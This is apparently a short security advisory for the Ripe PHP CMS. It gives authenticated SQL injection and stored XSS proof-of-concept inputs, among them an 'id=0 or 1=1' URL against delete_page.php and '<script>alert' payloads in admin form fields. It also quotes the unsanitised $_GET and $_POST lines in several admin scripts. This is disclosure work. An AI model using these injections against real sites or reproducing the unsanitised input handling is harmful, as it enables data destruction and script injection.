Proof of Concept:
-----------------
After logging in as valid user,
SQL Injection:
http://example.com/admin/pages/delete_page.php?id=0 or 1=1

XSS:
Go to the http://www.example.com/admin/pages/new_page.php
and insert <script>alert("XSS")</script> in 'Title' field or
'textarea' field.
OR
Go to the http://www.example.com/admin/navigation/new_nav_item.php
and insert <script>alert("XSS")</script> in 'Name' or 'Link to url'
fields.


Analysis:
---------

1. Vulnerable portion of code in Ripe/admin/pages/delete_page.php,
   admin/navigation/delete_item.php and delete_menu.php
  
  $id = $_GET['id'];

2. Vulnerable portion of code in Ripe/admin/navigation/do_new_item.php
 
   $menu_id=$_POST['menu_id'];
   $name=$_POST['name'];
   $page_id=$_POST['page_id'];
   $url=$_POST['url'];

3. Vulnerable portion of code in Ripe/admin/navigation/do_new_nav.php
   
  $new_menuname=$_POST['new_menuname'];

4. Vulnerable portion of code in Ripe/admin/pages/do_new_page.php
  
  $area1=$_POST['area1'];
  $name=$_POST['name'];
  $url=$_POST['url'];
